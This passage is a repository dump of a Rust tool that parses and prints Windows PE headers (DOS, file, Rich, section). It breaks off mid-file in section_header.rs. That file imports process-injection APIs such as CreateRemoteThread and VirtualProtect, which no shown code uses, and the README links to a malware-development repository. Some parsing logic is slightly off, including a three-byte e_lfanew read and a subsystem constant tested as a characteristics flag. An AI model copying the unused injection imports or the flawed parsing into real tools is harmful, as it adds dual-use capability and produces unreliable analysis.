├── MsgBox.exe ├── image.png ├── Cargo.toml ├── README.md └── src ├── main.rs ├── file_header.rs ├── dos_header.rs ├── rich_header.rs └── section_header.rs /MsgBox.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Whitecat18/PE-Analyzer.rs/HEAD/MsgBox.exe -------------------------------------------------------------------------------- /image.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Whitecat18/PE-Analyzer.rs/HEAD/image.png -------------------------------------------------------------------------------- /Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "PE_Analyzer" 3 | version = "0.1.0" 4 | edition = "2021" 5 | authors = ["@5mukx", "5mukx.site"] 6 | 7 | [dependencies] 8 | byteorder = "1.5.0" 9 | winapi = { version = "0.3.9", features = [ 10 | "winnt", 11 | "memoryapi", 12 | "processthreadsapi", 13 | "synchapi", 14 | "fileapi", 15 | "errhandlingapi", 16 | "handleapi", 17 | "heapapi" 18 | ] } 19 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # PE_Analyzer Rust 2 | 3 | A Rust-based PE (Portable Executable) file analyzer that provides detailed information about Windows executable files. 4 | 5 | ![PoC Image](./image.png) 6 | 7 | ## Features 8 | 9 | - Parse and analyze PE file headers 10 | - Display file characteristics 11 | - Show section information 12 | - Extract import and export tables 13 | - Analyze PE file structure 14 | 15 | ## Requirements 16 | 17 | - Rust (latest stable version) 18 | - Cargo package manager 19 | 20 | ## Installation 21 | 22 | Clone the repository and build the project: 23 | 24 | ```bash 25 | cargo build --release 26 | ``` 27 | 28 | ## Usage 29 | 30 | Run the analyzer with a PE file path as an argument: 31 | 32 | ```bash 33 | cargo run -- 34 | ``` 35 | 36 | ## How does it work 37 | 38 | * This Analyzer Currently Supports 39 | * DOS Header 40 | * It proceeds to read fields from the DOS header at their respective offsets. 41 | * e_lfanew: It specifically reads the e_lfanew field at offset 0x3C. This field, as mentioned, is crucial for locating the NT headers. 42 | * File Header 43 | * NT Header 44 | * Section Header 45 | * Rich Header 46 | 47 | * Important Notes 48 | * Little-Endian: PE files use little-endian byte order. 49 | * Offsets: File offsets are used to locate data within the file. 50 | * RVA: Relative Virtual Addresses (RVAs) are used within the PE file and sometimes need to be converted to file offsets. 51 | 52 | ## Credits Section 53 | 54 | For more PoC. Please visit: 55 | [https://github.com/Whitecat18/Rust-for-Malware-Development/](https://github.com/Whitecat18/Rust-for-Malware-Development/) 56 | 57 | [@5mukx](https://x.com/5mukx) -------------------------------------------------------------------------------- /src/main.rs: -------------------------------------------------------------------------------- 1 | /* 2 | This code is meant to analyze the Portable Executable (PE) file format. 3 | [+] PE Header [ e_lfanew (0x3C) = Contains Offset to NT Header (0x80) ] 4 | [+] File Header 5 | [+] Rich Header 6 | [+] DOS Header 7 | [+] COFF File Header peHeader, machine, NumberofSections, TimeDateStamp, SizeOfOptionalHeader 8 | [+] Section Header 9 | [+] Export Directory 10 | [+] RVA & RVAOffset 11 | 12 | Author: @5mukx 13 | */ 14 | 15 | mod file_header; 16 | mod rich_header; 17 | mod dos_header; 18 | mod section_header; 19 | 20 | fn main() { 21 | let initial_offset: usize = 0x3c; 22 | 23 | /* 24 | If you want to analyze an shellcode dll etc.., you can follow the import method , call from the function 25 | If you want to analyze an file , you can use include_bytes to read from file. 26 | */ 27 | 28 | // ----- IMPORT METHOD ----- 29 | let args: Vec = std::env::args().collect(); 30 | 31 | if args.len() != 2 { 32 | println!("[i] Please Enter PE File to parse ..."); 33 | return; 34 | } 35 | 36 | let pe_analyzer = std::fs::read(&args[1]).expect("Failed to read the PE file"); 37 | 38 | // print the analyzer 39 | 40 | // println!("{:?}", pe_analyzer); 41 | 42 | let pe_header_offset: usize = (pe_analyzer[initial_offset + 2] as usize) << 16 43 | | (pe_analyzer[initial_offset + 1] as usize) << 8 44 | | pe_analyzer[initial_offset] as usize; 45 | 46 | // calculate machineTypeOffset 47 | let machine_type_offset: usize = pe_header_offset + 4; 48 | 49 | 50 | // calculate noOfSectionsOffset and noOfSections 51 | let no_of_sections_offset: usize = machine_type_offset + 0x2; 52 | let no_of_sections: u16 = ((pe_analyzer[no_of_sections_offset + 1] as u16) << 8) 53 | | (pe_analyzer[no_of_sections_offset] as u16); 54 | 55 | 56 | // calculate timeDateStampOffset 57 | let time_date_stamp_offset: usize = no_of_sections_offset + 0x2; 58 | 59 | // calculate sizeOfOptionalHeaderOffset and sizeOfOptionalHeader 60 | let size_of_optional_header_offset: usize = time_date_stamp_offset + 0x4 + 0x4 + 0x4; 61 | let size_of_optional_header: u16 = ((pe_analyzer[size_of_optional_header_offset + 1] as u16) 62 | << 8) 63 | | (pe_analyzer[size_of_optional_header_offset] as u16); 64 | 65 | 66 | // calculate firstSectionHeaderOffset 67 | let first_section_header_offset = size_of_optional_header_offset + 0x2 + 0x2 + size_of_optional_header as usize; 68 | 69 | println!(); 70 | 71 | // Include the HEADERS -> 72 | 73 | // File headers 74 | 75 | file_header::print_file_header(&pe_analyzer); 76 | 77 | // Analyze DOS Header Here ! 78 | 79 | dos_header::print_dos_header(&pe_analyzer); 80 | 81 | println!(); 82 | 83 | // Calculate RichHeader 84 | // rich header adv implementaion ! 85 | 86 | rich_header::analyze_rich_header(&pe_analyzer); 87 | 88 | println!("\n\n"); 89 | 90 | section_header::find_section_headers( 91 | first_section_header_offset, 92 | no_of_sections as usize, 93 | &pe_analyzer, 94 | ); 95 | } 96 | -------------------------------------------------------------------------------- /src/file_header.rs: -------------------------------------------------------------------------------- 1 | 2 | 3 | use winapi::um::winnt::{ 4 | IMAGE_DOS_SIGNATURE, IMAGE_FILE_DLL, IMAGE_FILE_EXECUTABLE_IMAGE, IMAGE_NT_SIGNATURE, IMAGE_SUBSYSTEM_NATIVE 5 | }; 6 | 7 | pub fn print_file_header(pe_analyzer: &[u8]) -> Option { 8 | // Step 1: Verify the DOS header 9 | let magic = u16::from_le_bytes([pe_analyzer[0x00], pe_analyzer[0x01]]); 10 | if magic != IMAGE_DOS_SIGNATURE { 11 | println!("Invalid DOS signature: {:04x}", magic); 12 | return None; 13 | } 14 | 15 | // Step 2: Get the e_lfanew offset to locate the NT Headers 16 | let e_lfanew = u32::from_le_bytes([ 17 | pe_analyzer[0x3C], 18 | pe_analyzer[0x3D], 19 | pe_analyzer[0x3E], 20 | pe_analyzer[0x3F], 21 | ]) as usize; 22 | 23 | // Step 3: Verify the NT Headers signature 24 | let nt_signature = u32::from_le_bytes([ 25 | pe_analyzer[e_lfanew], 26 | pe_analyzer[e_lfanew + 1], 27 | pe_analyzer[e_lfanew + 2], 28 | pe_analyzer[e_lfanew + 3], 29 | ]); 30 | if nt_signature != IMAGE_NT_SIGNATURE { 31 | println!("Invalid NT signature: {:08x}", nt_signature); 32 | return None; 33 | } 34 | 35 | // Step 4: Extract the File Header (starts at e_lfanew + 4) 36 | let file_header_offset = e_lfanew + 4; 37 | 38 | println!("\n [File Header]"); 39 | println!( 40 | "{:<8} {:<25} {:<10} {:<30}", 41 | "Offset", 42 | "Name", 43 | "Value", 44 | "Description" 45 | ); 46 | println!("{}", "-".repeat(75)); 47 | 48 | // 0x04: Machine (2 bytes) 49 | let machine = u16::from_le_bytes([ 50 | pe_analyzer[file_header_offset], 51 | pe_analyzer[file_header_offset + 1], 52 | ]); 53 | let machine_desc = match machine { 54 | 0x014C => "x86", 55 | 0x8664 => "x64", 56 | 0xAA64 => "ARM64", 57 | _ => "Unknown", 58 | }; 59 | println!( 60 | "{:<8x} {:<25} {:<10x} {:<30}", 61 | file_header_offset, 62 | "Machine", 63 | machine, 64 | machine_desc 65 | ); 66 | 67 | // 0x06: NumberOfSections (2 bytes) 68 | let number_of_sections_offset = file_header_offset + 2; 69 | let number_of_sections = u16::from_le_bytes([ 70 | pe_analyzer[number_of_sections_offset], 71 | pe_analyzer[number_of_sections_offset + 1], 72 | ]); 73 | println!( 74 | "{:<8x} {:<25} {:<10} {:<30}", 75 | number_of_sections_offset, 76 | "NumberOfSections", 77 | number_of_sections, 78 | "" 79 | ); 80 | 81 | // 0x08: TimeDateStamp (4 bytes) 82 | let time_date_stamp_offset = number_of_sections_offset + 2; 83 | let time_date_stamp = u32::from_le_bytes([ 84 | pe_analyzer[time_date_stamp_offset], 85 | pe_analyzer[time_date_stamp_offset + 1], 86 | pe_analyzer[time_date_stamp_offset + 2], 87 | pe_analyzer[time_date_stamp_offset + 3], 88 | ]); 89 | // Convert timestamp to human-readable format (optional) 90 | let time_desc = format!("{:08x}", time_date_stamp); // You can add a conversion to datetime if desired 91 | println!( 92 | "{:<8x} {:<25} {:<10x} {:<30}", 93 | time_date_stamp_offset, 94 | "TimeDateStamp", 95 | time_date_stamp, 96 | time_desc 97 | ); 98 | 99 | // 0x0C: PointerToSymbolTable (4 bytes) 100 | let pointer_to_symbol_table_offset = time_date_stamp_offset + 4; 101 | let pointer_to_symbol_table = u32::from_le_bytes([ 102 | pe_analyzer[pointer_to_symbol_table_offset], 103 | pe_analyzer[pointer_to_symbol_table_offset + 1], 104 | pe_analyzer[pointer_to_symbol_table_offset + 2], 105 | pe_analyzer[pointer_to_symbol_table_offset + 3], 106 | ]); 107 | println!( 108 | "{:<8x} {:<25} {:<10x} {:<30}", 109 | pointer_to_symbol_table_offset, 110 | "PointerToSymbolTable", 111 | pointer_to_symbol_table, 112 | "" 113 | ); 114 | 115 | // 0x10: NumberOfSymbols (4 bytes) 116 | let number_of_symbols_offset = pointer_to_symbol_table_offset + 4; 117 | let number_of_symbols = u32::from_le_bytes([ 118 | pe_analyzer[number_of_symbols_offset], 119 | pe_analyzer[number_of_symbols_offset + 1], 120 | pe_analyzer[number_of_symbols_offset + 2], 121 | pe_analyzer[number_of_symbols_offset + 3], 122 | ]); 123 | println!( 124 | "{:<8x} {:<25} {:<10} {:<30}", 125 | number_of_symbols_offset, 126 | "NumberOfSymbols", 127 | number_of_symbols, 128 | "" 129 | ); 130 | 131 | // 0x14: SizeOfOptionalHeader (2 bytes) 132 | let size_of_optional_header_offset = number_of_symbols_offset + 4; 133 | let size_of_optional_header = u16::from_le_bytes([ 134 | pe_analyzer[size_of_optional_header_offset], 135 | pe_analyzer[size_of_optional_header_offset + 1], 136 | ]); 137 | println!( 138 | "{:<8x} {:<25} {:<10x} {:<30}", 139 | size_of_optional_header_offset, 140 | "SizeOfOptionalHeader", 141 | size_of_optional_header, 142 | "" 143 | ); 144 | 145 | // 0x16: Characteristics (2 bytes) 146 | let characteristics_offset = size_of_optional_header_offset + 2; 147 | let characteristics = u16::from_le_bytes([ 148 | pe_analyzer[characteristics_offset], 149 | pe_analyzer[characteristics_offset + 1], 150 | ]); 151 | let characteristics_desc = if characteristics & IMAGE_FILE_EXECUTABLE_IMAGE != 0 { 152 | if characteristics & IMAGE_FILE_DLL != 0 { 153 | "Executable File: DLL" 154 | } else if characteristics & IMAGE_SUBSYSTEM_NATIVE != 0 { 155 | "Executable File: SYS" 156 | } else { 157 | "Executable File: EXE" 158 | } 159 | } else { 160 | "Not an executable" 161 | }; 162 | println!( 163 | "{:<8x} {:<25} {:<10x} {:<30}", 164 | characteristics_offset, 165 | "Characteristics", 166 | characteristics, 167 | characteristics_desc 168 | ); 169 | 170 | Some(number_of_sections as usize) 171 | } -------------------------------------------------------------------------------- /src/dos_header.rs: -------------------------------------------------------------------------------- 1 | 2 | 3 | // DOS HEADER STRUCTURE -> ! 4 | 5 | pub fn print_dos_header(pe_analyzer: &[u8]) { 6 | println!("\n [DOS Header]"); 7 | 8 | // table header 9 | println!( 10 | "{:<8} {:<30} {:<10}", 11 | "Offset", 12 | "Name", 13 | "Value" 14 | ); 15 | println!("{}", "-".repeat(50)); 16 | 17 | // 0x00: Magic number (2 bytes) 18 | let magic = u16::from_le_bytes([pe_analyzer[0x00], pe_analyzer[0x01]]); 19 | println!( 20 | "{:<8x} {:<30} {:<10x}", 21 | 0x00, 22 | "Magic number", 23 | magic 24 | ); 25 | 26 | // 0x02: Bytes on last page of file (2 bytes) 27 | let bytes_on_last_page = u16::from_le_bytes([pe_analyzer[0x02], pe_analyzer[0x03]]); 28 | println!( 29 | "{:<8x} {:<30} {:<10}", 30 | 0x02, 31 | "Bytes on last page of file", 32 | bytes_on_last_page 33 | ); 34 | 35 | // 0x04: Pages in file (2 bytes) 36 | let pages_in_file = u16::from_le_bytes([pe_analyzer[0x04], pe_analyzer[0x05]]); 37 | println!( 38 | "{:<8x} {:<30} {:<10}", 39 | 0x04, 40 | "Pages in file", 41 | pages_in_file 42 | ); 43 | 44 | // 0x06: Relocations (2 bytes) 45 | let relocations = u16::from_le_bytes([pe_analyzer[0x06], pe_analyzer[0x07]]); 46 | println!( 47 | "{:<8x} {:<30} {:<10}", 48 | 0x06, 49 | "Relocations", 50 | relocations 51 | ); 52 | 53 | // 0x08: Size of header in paragraphs (2 bytes) 54 | let header_size_paragraphs = u16::from_le_bytes([pe_analyzer[0x08], pe_analyzer[0x09]]); 55 | println!( 56 | "{:<8x} {:<30} {:<10}", 57 | 0x08, 58 | "Size of header in paragraphs", 59 | header_size_paragraphs 60 | ); 61 | 62 | // 0x0A: Minimum extra paragraphs needed (2 bytes) 63 | let min_extra_paragraphs = u16::from_le_bytes([pe_analyzer[0x0A], pe_analyzer[0x0B]]); 64 | println!( 65 | "{:<8x} {:<30} {:<10}", 66 | 0x0A, 67 | "Minimum extra paragraphs needed", 68 | min_extra_paragraphs 69 | ); 70 | 71 | // 0x0C: Maximum extra paragraphs needed (2 bytes) 72 | let max_extra_paragraphs = u16::from_le_bytes([pe_analyzer[0x0C], pe_analyzer[0x0D]]); 73 | println!( 74 | "{:<8x} {:<30} {:<10}", 75 | 0x0C, 76 | "Maximum extra paragraphs needed", 77 | max_extra_paragraphs 78 | ); 79 | 80 | // 0x0E: Initial (relative) SS value (2 bytes) 81 | let initial_ss = u16::from_le_bytes([pe_analyzer[0x0E], pe_analyzer[0x0F]]); 82 | println!( 83 | "{:<8x} {:<30} {:<10x}", 84 | 0x0E, 85 | "Initial (relative) SS value", 86 | initial_ss 87 | ); 88 | 89 | // 0x10: Initial SP value (2 bytes) 90 | let initial_sp = u16::from_le_bytes([pe_analyzer[0x10], pe_analyzer[0x11]]); 91 | println!( 92 | "{:<8x} {:<30} {:<10x}", 93 | 0x10, 94 | "Initial SP value", 95 | initial_sp 96 | ); 97 | 98 | // 0x12: Checksum (2 bytes) 99 | let checksum = u16::from_le_bytes([pe_analyzer[0x12], pe_analyzer[0x13]]); 100 | println!( 101 | "{:<8x} {:<30} {:<10x}", 102 | 0x12, 103 | "Checksum", 104 | checksum 105 | ); 106 | 107 | // 0x14: Initial IP value (2 bytes) 108 | let initial_ip = u16::from_le_bytes([pe_analyzer[0x14], pe_analyzer[0x15]]); 109 | println!( 110 | "{:<8x} {:<30} {:<10x}", 111 | 0x14, 112 | "Initial IP value", 113 | initial_ip 114 | ); 115 | 116 | // 0x16: Initial (relative) CS value (2 bytes) 117 | let initial_cs = u16::from_le_bytes([pe_analyzer[0x16], pe_analyzer[0x17]]); 118 | println!( 119 | "{:<8x} {:<30} {:<10x}", 120 | 0x16, 121 | "Initial (relative) CS value", 122 | initial_cs 123 | ); 124 | 125 | // 0x18: File address of relocation table (2 bytes) 126 | let reloc_table_addr = u16::from_le_bytes([pe_analyzer[0x18], pe_analyzer[0x19]]); 127 | println!( 128 | "{:<8x} {:<30} {:<10x}", 129 | 0x18, 130 | "File address of relocation table", 131 | reloc_table_addr 132 | ); 133 | 134 | // 0x1C: Reserved words[4] (8 bytes, 4 words) 135 | let reserved_words_1: [u16; 4] = [ 136 | u16::from_le_bytes([pe_analyzer[0x1C], pe_analyzer[0x1D]]), 137 | u16::from_le_bytes([pe_analyzer[0x1E], pe_analyzer[0x1F]]), 138 | u16::from_le_bytes([pe_analyzer[0x20], pe_analyzer[0x21]]), 139 | u16::from_le_bytes([pe_analyzer[0x22], pe_analyzer[0x23]]), 140 | ]; 141 | let reserved_words_1_str = reserved_words_1 142 | .iter() 143 | .map(|&w| format!("{:04x}", w)) 144 | .collect::>() 145 | .join(","); 146 | println!( 147 | "{:<8x} {:<30} {:<10}", 148 | 0x1C, 149 | "Reserved words[4]", 150 | reserved_words_1_str 151 | ); 152 | 153 | // 0x24: OEM identifier (2 bytes) 154 | let oem_identifier = u16::from_le_bytes([pe_analyzer[0x24], pe_analyzer[0x25]]); 155 | println!( 156 | "{:<8x} {:<30} {:<10x}", 157 | 0x24, 158 | "OEM identifier", 159 | oem_identifier 160 | ); 161 | 162 | // 0x26: OEM information (2 bytes) 163 | let oem_info = u16::from_le_bytes([pe_analyzer[0x26], pe_analyzer[0x27]]); 164 | println!( 165 | "{:<8x} {:<30} {:<10x}", 166 | 0x26, 167 | "OEM information", 168 | oem_info 169 | ); 170 | 171 | // 0x28: Reserved words[10] (20 bytes, 10 words) 172 | let reserved_words_2: [u16; 10] = [ 173 | u16::from_le_bytes([pe_analyzer[0x28], pe_analyzer[0x29]]), 174 | u16::from_le_bytes([pe_analyzer[0x2A], pe_analyzer[0x2B]]), 175 | u16::from_le_bytes([pe_analyzer[0x2C], pe_analyzer[0x2D]]), 176 | u16::from_le_bytes([pe_analyzer[0x2E], pe_analyzer[0x2F]]), 177 | u16::from_le_bytes([pe_analyzer[0x30], pe_analyzer[0x31]]), 178 | u16::from_le_bytes([pe_analyzer[0x32], pe_analyzer[0x33]]), 179 | u16::from_le_bytes([pe_analyzer[0x34], pe_analyzer[0x35]]), 180 | u16::from_le_bytes([pe_analyzer[0x36], pe_analyzer[0x37]]), 181 | u16::from_le_bytes([pe_analyzer[0x38], pe_analyzer[0x39]]), 182 | u16::from_le_bytes([pe_analyzer[0x3A], pe_analyzer[0x3B]]), 183 | ]; 184 | let reserved_words_2_str = reserved_words_2 185 | .iter() 186 | .map(|&w| format!("{:04x}", w)) 187 | .collect::>() 188 | .join(","); 189 | println!( 190 | "{:<8x} {:<30} {:<10}", 191 | 0x28, 192 | "Reserved words[10]", 193 | reserved_words_2_str 194 | ); 195 | 196 | // 0x3C: File address of new exe header (4 bytes) 197 | let e_lfanew = u32::from_le_bytes([ 198 | pe_analyzer[0x3C], 199 | pe_analyzer[0x3D], 200 | pe_analyzer[0x3E], 201 | pe_analyzer[0x3F], 202 | ]); 203 | println!( 204 | "{:<8x} {:<30} {:<10x}", 205 | 0x3C, 206 | "File address of new exe header", 207 | e_lfanew 208 | ); 209 | } 210 | 211 | -------------------------------------------------------------------------------- /src/rich_header.rs: -------------------------------------------------------------------------------- 1 | use std::io::Cursor; 2 | 3 | use byteorder::{LittleEndian, ReadBytesExt}; 4 | 5 | // my lazy way to find rich header =) 6 | fn find_rich_header(data: &[u8]) -> Option{ 7 | for i in 0..data.len() - 3{ 8 | if data[i] == b'R' && data[i+1] == b'i' && data[i+2] == b'c' && data[i+3] == b'h'{ 9 | return Some(i); 10 | } 11 | } 12 | None 13 | } 14 | 15 | // simple concept -> 0x536e6144 -> "DanS" 16 | fn u32_to_string(value: u32) -> String{ 17 | let bytes = value.to_le_bytes(); 18 | String::from_utf8_lossy(&bytes).trim_end_matches('\0').to_string() 19 | } 20 | 21 | fn get_vs_version(product_id: u32) -> &'static str { 22 | match product_id { 23 | 30729 => "Visual Studio 2008 09.00", 24 | 33043 => "Visual Studio 2010 10.0", 25 | 33042 => "Visual Studio 2010 10.0", 26 | 33044 => "Visual Studio 2010 10.0", 27 | 33140 => "Visual Studio 2012 11.0", 28 | 33141 => "Visual Studio 2012 11.0", 29 | 33142 => "Visual Studio 2012 11.0", 30 | 34321 => "Visual Studio 2013 12.0", 31 | 34322 => "Visual Studio 2013 12.0", 32 | 34323 => "Visual Studio 2013 12.0", 33 | 34809 => "Visual Studio 2015 14.0", 34 | 34810 => "Visual Studio 2015 14.0", 35 | 34811 => "Visual Studio 2015 14.0", 36 | 35351 => "Visual Studio 2017 15.0", 37 | 35352 => "Visual Studio 2017 15.0", 38 | 35353 => "Visual Studio 2017 15.0", 39 | 35870 => "Visual Studio 2019 16.0", 40 | 35871 => "Visual Studio 2019 16.0", 41 | 35872 => "Visual Studio 2019 16.0", 42 | 36402 => "Visual Studio 2022 17.0", 43 | 36403 => "Visual Studio 2022 17.0", 44 | 36404 => "Visual Studio 2022 17.0", 45 | _ => "Unknown", 46 | } 47 | } 48 | 49 | // map product id to meaning. 50 | fn get_meaning(product_id: u32) -> &'static str { 51 | match product_id { 52 | 0 => "Import0", 53 | 30729 => "Implib900", // lib.exe (Import Library Tool) from VS 2008 54 | 33043 => "Link1000", // link.exe (Linker) from VS 2010 55 | 33045 => "Cvtres1000", // cvtres.exe (Resource File Converter) from VS 2010 56 | 33046 => "Rc1000", // rc.exe (Microsoft Resource Compiler) from VS 2010 57 | 33140 => "Link1100", // link.exe from VS 2012 58 | 33142 => "Cvtres1100", // cvtres.exe from VS 2012 59 | 33143 => "Rc1100", // rc.exe from VS 2012 60 | 34321 => "Link1200", // link.exe from VS 2013 61 | 34323 => "Cvtres1200", // cvtres.exe from VS 2013 62 | 34324 => "Rc1200", // rc.exe from VS 2013 63 | 34809 => "Link1400", // link.exe from VS 2015 64 | 34811 => "Cvtres1400", // cvtres.exe from VS 2015 65 | 34812 => "Rc1400", // rc.exe from VS 2015 66 | 35351 => "Link1410", // link.exe from VS 2017 (v141 toolset) 67 | 35353 => "Cvtres1410", // cvtres.exe from VS 2017 (v141 toolset) 68 | 35354 => "Rc1007", // rc.exe from VS 2017 (Note: might be a specific version) 69 | 35870 => "Link1420", // link.exe from VS 2019 (v142 toolset) 70 | 35872 => "Cvtres1420", // cvtres.exe from VS 2019 (v142 toolset) 71 | 35873 => "Rc1008", // rc.exe from VS 2019 (Note: might be a specific version) 72 | 36402 => "Link1430", // link.exe from VS 2022 (v143 toolset) 73 | 36404 => "Cvtres1430", // cvtres.exe from VS 2022 (v143 toolset) 74 | 36405 => "Rc1009", // rc.exe from VS 2022 (Note: might be a specific version) 75 | _ => "Unknown", 76 | } 77 | } 78 | 79 | pub fn analyze_rich_header(pe_analyzer: &[u8]) { 80 | 81 | println!("\n [Rich Header]"); 82 | 83 | if let Some(rich_offset) = find_rich_header(pe_analyzer) { 84 | println!("Rich header found at offset: 0x{:X}", rich_offset); 85 | 86 | let xor_key_offset = rich_offset + 4; 87 | let xor_key = u32::from_le_bytes([ 88 | pe_analyzer[xor_key_offset], 89 | pe_analyzer[xor_key_offset + 1], 90 | pe_analyzer[xor_key_offset + 2], 91 | pe_analyzer[xor_key_offset + 3], 92 | ]); 93 | println!("XOR Key: 0x{:08X}", xor_key); 94 | 95 | let rich_start = 0x80; 96 | if rich_start >= rich_offset { 97 | println!("Error: Invalid Rich header start offset"); 98 | return; 99 | } 100 | let rich_data = &pe_analyzer[rich_start..rich_offset + 8]; 101 | 102 | println!( 103 | "{:<8} {:<20} {:<20} {:<20} {:<15} {:<10} {:<10} {:<10} {:<20}", 104 | "Offset", 105 | "Name", 106 | "Value", 107 | "Unmasked Value", 108 | "Meaning", 109 | "ProductId", 110 | "BuildId", 111 | "Count", 112 | "VS Version" 113 | ); 114 | println!("{}", "-".repeat(120)); 115 | 116 | let mut cursor = Cursor::new(rich_data); 117 | let mut offset = rich_start; 118 | while (offset as u64) < rich_offset as u64 { 119 | if let Ok(first_masked) = cursor.read_u32::() { 120 | if let Ok(second_masked) = cursor.read_u32::() { 121 | let first_unmasked = first_masked ^ xor_key; 122 | let second_unmasked = second_masked ^ xor_key; 123 | 124 | let meaning_str: String; 125 | let (name, meaning, product_id, build_id, count) = if offset == 0x80 { 126 | meaning_str = u32_to_string(first_unmasked); 127 | ( 128 | "DanS ID", 129 | meaning_str.as_str(), 130 | None, 131 | None, 132 | None, 133 | ) 134 | } else if first_unmasked == 0 && second_unmasked == 0 { 135 | ("Checksummed padding", "0", None, None, None) 136 | } else { 137 | let product_id = first_unmasked & 0xFFFF; 138 | let build_id = second_unmasked >> 16; 139 | let count = second_unmasked & 0xFFFF; 140 | let meaning = get_meaning(product_id); 141 | ("Comp ID", meaning, Some(product_id), Some(build_id), Some(count)) 142 | }; 143 | 144 | let value = format!("{:08x}{:08x}", first_masked, second_masked); 145 | let unmasked_value = if first_unmasked == 0 && second_unmasked == 0 { 146 | "0".to_string() 147 | } else { 148 | format!("{:08x}", first_unmasked) 149 | }; 150 | 151 | let vs_version = product_id.map_or("N/A", |pid| get_vs_version(pid)); 152 | 153 | println!( 154 | "{:<8x} {:<20} {:<20} {:<20} {:<15} {:<10} {:<10} {:<10} {:<20}", 155 | offset, 156 | name, 157 | value, 158 | unmasked_value, 159 | meaning, 160 | product_id.map_or("N/A".to_string(), |id| id.to_string()), 161 | build_id.map_or("N/A".to_string(), |id| id.to_string()), 162 | count.map_or("N/A".to_string(), |c| c.to_string()), 163 | vs_version 164 | ); 165 | } else { 166 | break; 167 | } 168 | } else { 169 | break; 170 | } 171 | offset += 8; 172 | } 173 | 174 | println!( 175 | "{:<8x} {:<20} {:<20} {:<20} {:<15} {:<10} {:<10} {:<10} {:<20}", 176 | rich_offset, 177 | "Rich ID", 178 | "68636952", 179 | "Rich", 180 | "Rich", 181 | "N/A", 182 | "N/A", 183 | "N/A", 184 | "N/A" 185 | ); 186 | 187 | println!( 188 | "{:<8x} {:<20} {:<20} {:<20} {:<15} {:<10} {:<10} {:<10} {:<20}", 189 | rich_offset + 4, 190 | "Checksum", 191 | format!("{:08x}", xor_key), 192 | format!("{:08x}", xor_key), 193 | "N/A", 194 | "N/A", 195 | "N/A", 196 | "N/A", 197 | "N/A" 198 | ); 199 | } else { 200 | println!("Rich header not found"); 201 | } 202 | } -------------------------------------------------------------------------------- /src/section_header.rs: -------------------------------------------------------------------------------- 1 | 2 | /* 3 | SECTION HEADER PARSER ...! 4 | */ 5 | 6 | use winapi::shared::minwindef::MAX_PATH; 7 | use winapi::um::synchapi::WaitForSingleObject; 8 | use winapi::um::{ 9 | memoryapi::VirtualProtect, minwinbase::LPTHREAD_START_ROUTINE, 10 | processthreadsapi::CreateRemoteThread, 11 | }; 12 | 13 | use std::ptr::null_mut; 14 | use winapi::um::winnt::PAGE_EXECUTE_READ; 15 | 16 | 17 | 18 | fn find_export_directory_info( 19 | pointer_to_raw_data: usize, 20 | virtual_address_offset: usize, 21 | pe_analyzer: &[u8], 22 | ) -> usize { 23 | println!("INSIDE FIND EXPORT DIRECTORY !"); 24 | println!( 25 | " [-] [0x{:04x}] [exportFlags] : 0x{:02X}{:02X}{:02X}{:02X}", 26 | pointer_to_raw_data, 27 | pe_analyzer[pointer_to_raw_data + 3], 28 | pe_analyzer[pointer_to_raw_data + 2], 29 | pe_analyzer[pointer_to_raw_data + 1], 30 | pe_analyzer[pointer_to_raw_data] 31 | ); 32 | 33 | let time_date_stamp_offset = pointer_to_raw_data + 0x4; 34 | println!( 35 | " [-] [0x{:04x}] [Time/DateStamp] : 0x{:02X}{:02X}{:02X}{:02X}", 36 | time_date_stamp_offset, 37 | pe_analyzer[time_date_stamp_offset + 3], 38 | pe_analyzer[time_date_stamp_offset + 2], 39 | pe_analyzer[time_date_stamp_offset + 1], 40 | pe_analyzer[time_date_stamp_offset] 41 | ); 42 | 43 | let major_version_offset = time_date_stamp_offset + 0x4; 44 | println!( 45 | " [-] [0x{:04x}] [majorVersion] : 0x{:02X}{:02X}", 46 | major_version_offset, 47 | pe_analyzer[major_version_offset + 1], 48 | pe_analyzer[major_version_offset] 49 | ); 50 | 51 | let minor_version_offset = major_version_offset + 0x2; 52 | println!( 53 | " [-] [0x{:04x}] [minorVersion] : 0x{:02X}{:02X}", 54 | minor_version_offset, 55 | pe_analyzer[minor_version_offset + 1], 56 | pe_analyzer[minor_version_offset] 57 | ); 58 | 59 | let name_rva_offset = minor_version_offset + 0x2; 60 | println!( 61 | " [-] [0x{:04x}] [nameRVA] : 0x{:02X}{:02X}{:02X}{:02X} (RVA to PE name)", 62 | name_rva_offset, 63 | pe_analyzer[name_rva_offset + 3], 64 | pe_analyzer[name_rva_offset + 2], 65 | pe_analyzer[name_rva_offset + 1], 66 | pe_analyzer[name_rva_offset] 67 | ); 68 | 69 | let ordinal_base_offset = name_rva_offset + 0x4; 70 | println!( 71 | " [-] [0x{:04x}] [ordinalBase] : 0x{:02X}{:02X}{:02X}{:02X}", 72 | ordinal_base_offset, 73 | pe_analyzer[ordinal_base_offset + 3], 74 | pe_analyzer[ordinal_base_offset + 2], 75 | pe_analyzer[ordinal_base_offset + 1], 76 | pe_analyzer[ordinal_base_offset] 77 | ); 78 | 79 | let address_table_entries_offset = ordinal_base_offset + 0x4; 80 | println!( 81 | " [-] [0x{:04x}] [addressTableEntries] : 0x{:02X}{:02X}{:02X}{:02X} (Count of functions in Export Address Table)", 82 | address_table_entries_offset, 83 | pe_analyzer[address_table_entries_offset + 3], 84 | pe_analyzer[address_table_entries_offset + 2], 85 | pe_analyzer[address_table_entries_offset + 1], 86 | pe_analyzer[address_table_entries_offset] 87 | ); 88 | 89 | let number_of_name_pointers_offset = address_table_entries_offset + 0x4; 90 | println!( 91 | " [-] [0x{:04x}] [numberOfNamePointers] : 0x{:02X}{:02X}{:02X}{:02X} (Count of entries in the name pointer table/ordinal table)", 92 | number_of_name_pointers_offset, 93 | pe_analyzer[number_of_name_pointers_offset + 3], 94 | pe_analyzer[number_of_name_pointers_offset + 2], 95 | pe_analyzer[number_of_name_pointers_offset + 1], 96 | pe_analyzer[number_of_name_pointers_offset] 97 | ); 98 | 99 | let export_address_table_rva_offset = number_of_name_pointers_offset + 0x4; 100 | println!( 101 | " [-] [0x{:04x}] [exportAddressTableRVA] : 0x{:02X}{:02X}{:02X}{:02X} (RVA of the Export Address Table)", 102 | export_address_table_rva_offset, 103 | pe_analyzer[export_address_table_rva_offset + 3], 104 | 